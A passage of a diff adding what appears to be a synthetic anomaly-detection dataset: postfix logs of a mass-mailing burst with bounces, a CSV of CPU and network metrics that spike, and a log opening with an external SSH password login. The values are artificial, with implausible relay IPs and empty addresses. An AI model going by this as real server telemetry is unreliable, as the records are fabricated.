delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:07 server postfix/smtp[19822]: D5160BCA26: to=, from=, relay=aspmx.l.google.com[88.118.190.186]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:07 server postfix/smtp[19824]: 77D58070A8: to=, from=, relay=aspmx.l.google.com[132.37.223.68]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:08 server postfix/smtp[19823]: 793A2254C1: to=, from=, relay=aspmx.l.google.com[124.73.243.222]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:09 server postfix/smtp[19821]: 6FFE172A5B: to=, from=, relay=aspmx.l.google.com[6.210.140.126]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:09 server postfix/smtp[19825]: DE98B22B79: to=, from=, relay=aspmx.l.google.com[235.96.114.253]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:10 server postfix/smtp[19827]: 910D825B0D: to=, from=, relay=aspmx.l.google.com[238.161.60.4]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:11 server postfix/smtp[19826]: 259FA59CEA: to=, from=, relay=aspmx.l.google.com[188.160.137.190]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:12 server postfix/smtp[19829]: 1D9990A3B1: to=, from=, relay=aspmx.l.google.com[229.126.58.165]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:12 server postfix/smtp[19830]: D55DDDE5D4: to=, from=, relay=aspmx.l.google.com[114.110.87.28]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:14 server postfix/smtp[19828]: B9F06A90BF: to=, from=, relay=aspmx.l.google.com[12.209.246.196]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:18 server postfix/smtp[19831]: CFD433C5B2: to=, from=, relay=aspmx.l.google.com[207.169.252.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:18 server postfix/smtp[19833]: 052092DB5C: to=, from=, relay=aspmx.l.google.com[220.32.202.4]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:18 server postfix/smtp[19834]: 01714B99B8: to=, from=, relay=aspmx.l.google.com[49.207.70.194]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:19 server postfix/smtp[19832]: C31AD9B5FA: to=, from=, relay=business.biz[199.69.131.152]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:10:20 server postfix/smtp[19838]: E1AC08874E: to=, from=, relay=aspmx.l.google.com[230.127.239.108]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:21 server postfix/smtp[19835]: EBFEE2E394: to=, from=, relay=aspmx.l.google.com[229.188.19.244]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:21 server postfix/smtp[19836]: 3BC16B0846: to=, from=, relay=user-mail.info[105.89.178.120]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:10:22 server postfix/smtp[19837]: 5DA7420B95: to=, from=, relay=aspmx.l.google.com[246.205.29.236]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:23 server postfix/smtp[19839]: 4065FD8714: to=, from=, relay=user-mail.info[127.72.134.232]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:10:25 server postfix/smtp[19844]: A953D3913D: to=, from=, relay=aspmx.l.google.com[158.110.190.133]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:27 server postfix/smtp[19841]: 1AAB668DF1: to=, from=, relay=mailservice.net[197.205.27.133]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:10:27 server postfix/smtp[19842]: E2A88FC72D: to=, from=, relay=mailservice.net[200.228.147.236]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:10:28 server postfix/smtp[19840]: 548D1C054D: to=, from=, relay=user-mail.info[203.234.163.166]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:10:29 server postfix/smtp[19843]: B4977AFE60: to=, from=, relay=user-mail.info[120.4.175.31]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:10:30 server postfix/smtp[19845]: 6243B0D52E: to=, from=, relay=example.com[97.150.99.254]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:10:33 server postfix/smtp[19846]: 5285F3D64A: to=, from=, relay=aspmx.l.google.com[116.15.121.187]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:35 server postfix/smtp[19848]: 8AEECD3D1D: to=, from=, relay=aspmx.l.google.com[195.158.152.169]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:35 server postfix/smtp[19849]: 75C6A853A1: to=, from=, relay=aspmx.l.google.com[50.76.77.26]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:37 server postfix/smtp[19847]: CA80975AE4: to=, from=, relay=user-mail.info[187.152.1.61]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:10:41 server postfix/smtp[19850]: A54EE6CEE6: to=, from=, relay=aspmx.l.google.com[130.73.42.58]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:41 server postfix/smtp[19851]: 47F8CCA96B: to=, from=, relay=aspmx.l.google.com[36.62.183.144]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:45 server postfix/smtp[19852]: 0BAEDD7EA5: to=, from=, relay=aspmx.l.google.com[179.181.4.234]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:45 server postfix/smtp[19853]: E41451D3C6: to=, from=, relay=aspmx.l.google.com[84.199.240.129]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:45 server postfix/smtp[19854]: 0163EAE1A3: to=, from=, relay=aspmx.l.google.com[43.36.147.57]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:45 server postfix/smtp[19856]: 19C9A006E2: to=, from=, relay=aspmx.l.google.com[63.104.223.143]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:47 server postfix/smtp[19855]: 84A101A229: to=, from=, relay=aspmx.l.google.com[150.75.35.182]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:50 server postfix/smtp[19857]: 3250E29D0E: to=, from=, relay=user-mail.info[84.220.242.79]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:10:50 server postfix/smtp[19859]: 6654060461: to=, from=, relay=aspmx.l.google.com[96.117.140.228]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:50 server postfix/smtp[19860]: C3491911EC: to=, from=, relay=aspmx.l.google.com[128.224.69.100]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:54 server postfix/smtp[19858]: 8C255FB904: to=, from=, relay=aspmx.l.google.com[197.224.144.201]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:57 server postfix/smtp[19861]: 89087792D1: to=, from=, relay=web-host.org[229.49.5.3]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:10:57 server postfix/smtp[19863]: E19A16C2D0: to=, from=, relay=aspmx.l.google.com[74.188.246.97]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:59 server postfix/smtp[19862]: A47E649E9A: to=, from=, relay=aspmx.l.google.com[157.232.24.161]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:03 server postfix/smtp[19866]: D78845F18E: to=, from=, relay=aspmx.l.google.com[98.209.50.136]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:03 server postfix/smtp[19867]: 0A183AE913: to=, from=, relay=aspmx.l.google.com[234.58.106.96]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:04 server postfix/smtp[19864]: 11BFA96028: to=, from=, relay=aspmx.l.google.com[8.164.89.225]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:04 server postfix/smtp[19865]: 8622BC20FA: to=, from=, relay=aspmx.l.google.com[195.110.56.210]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:04 server postfix/smtp[19868]: 9433F810A6: to=, from=, relay=aspmx.l.google.com[108.43.148.117]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:05 server postfix/smtp[19869]: 0A66E044BC: to=, from=, relay=aspmx.l.google.com[38.117.40.200]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:06 server postfix/smtp[19872]: 3641B53C6D: to=, from=, relay=aspmx.l.google.com[189.80.35.235]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:07 server postfix/smtp[19873]: CF58F3C24B: to=, from=, relay=aspmx.l.google.com[198.223.21.39]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:08 server postfix/smtp[19870]: 02DF00212C: to=, from=, relay=aspmx.l.google.com[145.228.37.135]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:08 server postfix/smtp[19871]: F121A4818E: to=, from=, relay=business.biz[92.245.13.250]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:11 server postfix/smtp[19875]: FF6D8DB5DB: to=, from=, relay=aspmx.l.google.com[80.4.156.164]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:14 server postfix/smtp[19874]: 7046D2B0BB: to=, from=, relay=aspmx.l.google.com[24.103.154.6]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:15 server postfix/smtp[19877]: B74E05B0E4: to=, from=, relay=aspmx.l.google.com[130.225.79.58]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:16 server postfix/smtp[19878]: 5BB7EDF17B: to=, from=, relay=aspmx.l.google.com[11.157.141.145]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:16 server postfix/smtp[19879]: 2E3741C66B: to=, from=, relay=aspmx.l.google.com[150.189.186.20]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:17 server postfix/smtp[19876]: 26C5A1189F: to=, from=, relay=aspmx.l.google.com[227.145.59.174]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:20 server postfix/smtp[19881]: F52D1DF8CE: to=, from=, relay=example.com[248.90.73.249]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:23 server postfix/smtp[19882]: F3DF49AA96: to=, from=, relay=aspmx.l.google.com[228.184.191.242]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:24 server postfix/smtp[19880]: D2ABC863A3: to=, from=, relay=web-host.org[13.139.124.104]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:11:25 server postfix/smtp[19883]: FAD0DFA7AC: to=, from=, relay=example.com[211.149.78.27]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:25 server postfix/smtp[19884]: D25B1D7BEA: to=, from=, relay=aspmx.l.google.com[145.168.65.240]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:28 server postfix/smtp[19885]: A35640CEBC: to=, from=, relay=aspmx.l.google.com[26.147.178.54]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:31 server postfix/smtp[19887]: 07B89E9444: to=, from=, relay=aspmx.l.google.com[71.24.229.29]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:33 server postfix/smtp[19886]: C9B9134A7F: to=, from=, relay=aspmx.l.google.com[142.254.86.8]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:33 server postfix/smtp[19889]: C638150628: to=, from=, relay=business.biz[221.84.187.210]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:34 server postfix/smtp[19888]: 6BC88CE943: to=, from=, relay=aspmx.l.google.com[26.79.91.67]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:35 server postfix/smtp[19890]: 662B72C737: to=, from=, relay=user-mail.info[136.157.48.184]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:11:38 server postfix/smtp[19891]: 0F0F420D95: to=, from=, relay=aspmx.l.google.com[95.23.118.236]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:38 server postfix/smtp[19892]: 7488F087A7: to=, from=, relay=aspmx.l.google.com[58.216.114.202]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:40 server postfix/smtp[19893]: CE9FAA53E9: to=, from=, relay=web-host.org[103.191.160.162]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:11:40 server postfix/smtp[19896]: 2991E545DA: to=, from=, relay=example.com[53.159.49.225]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:43 server postfix/smtp[19895]: BEEDC0F860: to=, from=, relay=mailservice.net[65.206.203.206]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:43 server postfix/smtp[19897]: A7D19E821F: to=, from=, relay=business.biz[209.126.87.74]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:44 server postfix/smtp[19894]: 648E3E4A81: to=, from=, relay=aspmx.l.google.com[184.139.74.162]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:46 server postfix/smtp[19898]: 551D67206C: to=, from=, relay=aspmx.l.google.com[218.91.158.150]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:47 server postfix/smtp[19899]: CD09E5052B: to=, from=, relay=aspmx.l.google.com[161.81.9.100]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:48 server postfix/smtp[19900]: CFCED9F8C8: to=, from=, relay=web-host.org[247.36.179.182]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:11:50 server postfix/smtp[19901]: D527387EFD: to=, from=, relay=aspmx.l.google.com[131.26.254.126]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:51 server postfix/smtp[19902]: B6B3E25CBB: to=, from=, relay=aspmx.l.google.com[181.218.199.47]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:56 server postfix/smtp[19904]: CC8145D8F4: to=, from=, relay=aspmx.l.google.com[58.130.211.148]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:56 server postfix/smtp[19905]: F4B9FAF1E7: to=, from=, relay=aspmx.l.google.com[186.223.212.226]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:58 server postfix/smtp[19906]: 08708FFFCA: to=, from=, relay=aspmx.l.google.com[217.39.243.171]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:59 server postfix/smtp[19903]: 18A5A30BDA: to=, from=, relay=example.com[16.33.243.156]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:12:00 server postfix/smtp[19910]: E5049FC536: to=, from=, relay=aspmx.l.google.com[58.144.38.76]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:01 server postfix/smtp[19908]: 463DFA8381: to=, from=, relay=aspmx.l.google.com[11.23.192.153]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:01 server postfix/smtp[19909]: 1E1F13B15B: to=, from=, relay=aspmx.l.google.com[15.86.119.85]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:02 server postfix/smtp[19907]: 8F7F280D89: to=, from=, relay=business.biz[94.38.176.15]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:12:04 server postfix/smtp[19911]: 264BAC32C2: to=, from=, relay=aspmx.l.google.com[184.46.144.170]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:05 server postfix/smtp[19913]: 6B1A18F0B4: to=, from=, relay=aspmx.l.google.com[117.204.180.203]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:05 server postfix/smtp[19915]: A7D167E25B: to=, from=, relay=aspmx.l.google.com[127.27.26.51]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:07 server postfix/smtp[19912]: 22F4897111: to=, from=, relay=business.biz[120.248.10.111]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:12:07 server postfix/smtp[19914]: 05ABA5193D: to=, from=, relay=aspmx.l.google.com[41.244.207.186]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:11 server postfix/smtp[19916]: ECEA4D26D6: to=, from=, relay=aspmx.l.google.com[248.2.66.156]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:14 server postfix/smtp[19917]: C56F6CC519: to=, from=, relay=aspmx.l.google.com[250.223.240.72]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:15 server postfix/smtp[19918]: C4BD34B889: to=, from=, relay=aspmx.l.google.com[45.211.49.113]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:19 server postfix/smtp[19919]: D1C3BAA80B: to=, from=, relay=aspmx.l.google.com[33.23.15.71]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:20 server postfix/smtp[19921]: E6D41BC29B: to=, from=, relay=mailservice.net[214.196.20.84]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:12:20 server postfix/smtp[19922]: C2D3EE20BB: to=, from=, relay=aspmx.l.google.com[12.123.190.2]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:22 server postfix/smtp[19923]: 16E0351DB2: to=, from=, relay=aspmx.l.google.com[54.14.115.203]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:24 server postfix/smtp[19920]: E9C7963A4E: to=, from=, relay=aspmx.l.google.com[153.245.214.3]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:25 server postfix/smtp[19924]: 58EFACDC3E: to=, from=, relay=aspmx.l.google.com[2.180.11.30]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:26 server postfix/smtp[19925]: 7D0FF82ADC: to=, from=, relay=aspmx.l.google.com[211.159.109.237]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:27 server postfix/smtp[19927]: 50506C1FA0: to=, from=, relay=user-mail.info[135.42.188.67]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:12:28 server postfix/smtp[19926]: B9C17E8FB5: to=, from=, relay=user-mail.info[240.103.168.117]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:12:29 server postfix/smtp[19928]: 9C206ECD7A: to=, from=, relay=aspmx.l.google.com[229.4.116.199]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_5/mali_5_7.csv b/mali_dataset/scenario_5/mali_5_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..21f3d92dc3ffa42c80bc88e927a0ce3ef1453f7f --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-07T04:12:00Z,10.02,44.61,20.85,0.89,2.44 +2025-08-07T04:12:05Z,17.04,41.7,19.06,0.9,2.02 +2025-08-07T04:12:10Z,16.93,36.2,16.45,0.59,1.62 +2025-08-07T04:12:15Z,19.52,37.79,19.83,1.35,0.92 +2025-08-07T04:12:20Z,11.63,43.07,22.2,0.79,1.89 +2025-08-07T04:12:25Z,13.88,41.37,17.76,1.0,1.0 +2025-08-07T04:12:30Z,11.3,39.13,17.12,1.21,1.75 +2025-08-07T04:12:35Z,11.94,38.59,18.98,1.28,1.13 +2025-08-07T04:12:40Z,12.28,44.42,19.87,0.79,1.21 +2025-08-07T04:12:45Z,17.51,42.04,15.39,1.49,0.84 +2025-08-07T04:12:50Z,16.51,39.4,19.3,0.95,1.33 +2025-08-07T04:12:55Z,19.42,38.05,17.42,0.64,1.4 +2025-08-07T04:13:00Z,17.3,43.63,24.45,1.44,1.41 +2025-08-07T04:13:05Z,19.69,35.87,16.84,0.83,1.78 +2025-08-07T04:13:10Z,14.32,35.14,21.14,0.66,2.08 +2025-08-07T04:13:15Z,17.08,40.4,20.07,0.61,1.5 +2025-08-07T04:13:20Z,18.55,35.26,18.82,1.38,2.12 +2025-08-07T04:13:25Z,10.69,41.64,22.28,0.89,2.23 +2025-08-07T04:13:30Z,10.41,43.07,24.54,0.56,2.23 +2025-08-07T04:13:35Z,19.34,43.87,23.47,0.79,1.37 +2025-08-07T04:13:40Z,23.28,44.93,21.53,0.88,33.71 +2025-08-07T04:13:45Z,41.55,44.75,22.51,1.72,30.7 +2025-08-07T04:13:50Z,73.5,42.37,26.3,1.96,27.34 +2025-08-07T04:13:55Z,41.19,42.03,21.35,1.41,26.53 +2025-08-07T04:14:00Z,73.33,47.4,20.88,1.22,28.7 +2025-08-07T04:14:05Z,41.83,43.75,19.41,1.37,24.65 +2025-08-07T04:14:10Z,34.15,40.82,21.92,1.04,35.69 +2025-08-07T04:14:15Z,32.4,45.06,26.78,0.88,46.12 +2025-08-07T04:14:20Z,23.21,42.42,29.99,1.94,39.61 +2025-08-07T04:14:25Z,57.5,47.68,25.75,0.77,49.3 +2025-08-07T04:14:30Z,45.0,45.61,29.99,1.17,34.45 +2025-08-07T04:14:35Z,65.05,48.43,18.8,0.69,36.3 +2025-08-07T04:14:40Z,44.3,41.72,22.92,1.52,32.78 +2025-08-07T04:14:45Z,32.07,46.1,28.02,1.86,45.28 +2025-08-07T04:14:50Z,71.45,45.46,24.84,1.93,48.62 +2025-08-07T04:14:55Z,65.31,41.75,23.66,1.23,40.54 +2025-08-07T04:15:00Z,35.9,46.81,21.12,1.67,20.21 +2025-08-07T04:15:05Z,52.22,46.68,23.75,1.65,39.61 +2025-08-07T04:15:10Z,49.71,45.18,21.7,1.57,45.38 +2025-08-07T04:15:15Z,40.0,45.56,22.31,0.82,32.61 +2025-08-07T04:15:20Z,20.65,45.94,27.22,1.09,44.77 +2025-08-07T04:15:25Z,65.85,40.81,26.66,0.74,40.04 +2025-08-07T04:15:30Z,29.75,46.24,28.66,1.4,37.97 +2025-08-07T04:15:35Z,37.34,43.98,23.7,1.64,28.58 +2025-08-07T04:15:40Z,63.71,44.14,19.27,1.29,23.77 +2025-08-07T04:15:45Z,73.38,46.37,25.31,0.63,21.7 +2025-08-07T04:15:50Z,34.44,49.02,19.99,1.61,34.46 +2025-08-07T04:15:55Z,29.58,49.59,29.52,0.96,47.7 +2025-08-07T04:16:00Z,70.27,44.51,25.29,0.99,49.72 +2025-08-07T04:16:05Z,74.55,46.97,29.41,1.14,23.37 +2025-08-07T04:16:10Z,69.86,43.46,18.64,1.26,46.83 +2025-08-07T04:16:15Z,64.58,47.66,21.75,0.93,49.79 +2025-08-07T04:16:20Z,60.57,46.0,23.63,0.84,41.5 +2025-08-07T04:16:25Z,44.56,48.92,26.36,0.87,48.34 +2025-08-07T04:16:30Z,33.76,49.81,26.67,0.87,29.93 +2025-08-07T04:16:35Z,43.07,49.97,22.03,0.57,26.08 +2025-08-07T04:16:40Z,34.74,48.16,26.83,1.85,42.15 +2025-08-07T04:16:45Z,27.07,44.02,28.14,1.19,24.39 +2025-08-07T04:16:50Z,46.21,48.24,27.05,1.71,42.34 +2025-08-07T04:16:55Z,34.21,42.88,19.88,1.11,28.76 +2025-08-07T04:17:00Z,59.64,47.62,22.34,0.99,39.97 +2025-08-07T04:17:05Z,66.91,47.22,18.66,1.03,24.41 +2025-08-07T04:17:10Z,74.34,45.04,18.17,1.76,24.16 +2025-08-07T04:17:15Z,55.57,48.24,28.49,1.21,46.19 +2025-08-07T04:17:20Z,51.7,43.5,26.73,1.97,47.66 +2025-08-07T04:17:25Z,62.86,41.94,27.45,0.64,28.72 +2025-08-07T04:17:30Z,67.34,42.07,27.99,0.88,25.58 +2025-08-07T04:17:35Z,58.95,41.57,18.71,1.42,32.25 +2025-08-07T04:17:40Z,48.75,43.7,22.8,1.33,34.57 +2025-08-07T04:17:45Z,57.36,40.02,25.51,1.73,27.24 +2025-08-07T04:17:50Z,40.97,46.98,27.75,1.66,20.13 +2025-08-07T04:17:55Z,47.82,46.62,28.89,0.61,43.81 +2025-08-07T04:18:00Z,59.66,48.31,26.28,1.8,30.53 +2025-08-07T04:18:05Z,70.07,49.97,26.14,1.54,29.62 +2025-08-07T04:18:10Z,30.67,49.2,23.34,1.19,23.5 +2025-08-07T04:18:15Z,26.06,42.51,25.25,0.88,24.23 +2025-08-07T04:18:20Z,25.35,48.77,19.52,1.69,39.41 +2025-08-07T04:18:25Z,57.14,41.82,21.4,0.95,20.77 +2025-08-07T04:18:30Z,24.36,44.13,24.58,1.38,26.77 +2025-08-07T04:18:35Z,56.32,44.98,24.04,1.99,37.27 +2025-08-07T04:18:40Z,32.17,40.5,28.76,1.77,43.74 +2025-08-07T04:18:45Z,22.56,45.33,21.0,0.92,26.93 +2025-08-07T04:18:50Z,35.42,49.22,22.07,0.94,49.64 +2025-08-07T04:18:55Z,53.71,41.24,25.37,0.6,47.48 +2025-08-07T04:19:00Z,64.04,48.4,24.5,1.78,23.93 +2025-08-07T04:19:05Z,67.35,45.11,19.34,1.89,35.69 +2025-08-07T04:19:10Z,27.88,40.02,27.44,1.43,39.73 +2025-08-07T04:19:15Z,23.75,48.07,28.15,1.04,37.19 +2025-08-07T04:19:20Z,21.63,44.38,27.87,1.37,32.91 +2025-08-07T04:19:25Z,47.82,44.72,25.6,0.57,39.04 diff --git a/mali_dataset/scenario_5/mali_5_7.log b/mali_dataset/scenario_5/mali_5_7.log new file mode 100644 index 0000000000000000000000000000000000000000..dc77ac69b008072cadee78e4866fb212970a7fc0 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_7.log @@ -0,0 +1,241 @@ +Aug 07 04:12:05 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 07 04:12:15 server sshd[8654]: Accepted password for user admin from 28.43.93.199 port 43754 ssh2 +Aug 07 04:12:40 server CRON[9720]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 07 04:13:43 server postfix/smtp[17450]: 0FBD4B2810: to=, from=, relay=aspmx.l.google.com[230.142.55.139]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:13:43 server postfix/smtp[17452]: 703E99CC58: to=, from=, relay=aspmx.l.google.com[183.80.34.147]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:13:44 server postfix/smtp[17451]: B293745E2D: to=, from=, relay=web-host.org[89.24.178.97]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:13:48 server postfix/smtp[17453]: CB363AB038: to=, from=, relay=aspmx.l.google.com[75.77.245.108]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:13:49 server postfix/smtp[17454]: 200393F7F4: to=, from=, relay=aspmx.l.google.com[242.242.241.149]:25, delay=1.5, dsn=2.0.0, status=sent (250 